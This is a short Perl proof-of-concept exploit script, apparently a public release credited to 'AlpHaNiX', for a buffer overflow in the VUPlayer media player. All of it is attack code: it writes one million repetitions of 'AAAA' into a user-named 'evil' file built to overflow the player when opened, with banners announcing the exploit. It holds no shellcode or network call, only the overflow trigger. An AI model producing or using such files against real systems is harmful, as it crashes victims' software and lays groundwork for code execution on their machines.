#!/usr/bin/perl

system("color 3");

if (@ARGV != 1) { &help; exit(); }

sub help(){
  print "[X] Usage : ./exploit.pl filename \n";
}

{ $file = $ARGV[0]; }
print "\n [X]*******************************************\n";
print " [X]    VUPLAYER BufferOver flow POC          *\n";
print " [X]        Coded By AlpHaNiX                 *\n";
print " [X]         From Null Area                   *\n";
print " [X]*******************************************\n\n";

print "[+] Exploiting.....\n" ;

my $buff="\x41\x41\x41\x41" x 1000000 ;

print "[+] Creating Evil File" ;
open($FILE, ">>$file") or die "Cannot open $file";
print $FILE $buff;
close($FILE);
print "\n[+] Please wait while creating $file";
print "\n[+] $file has been created";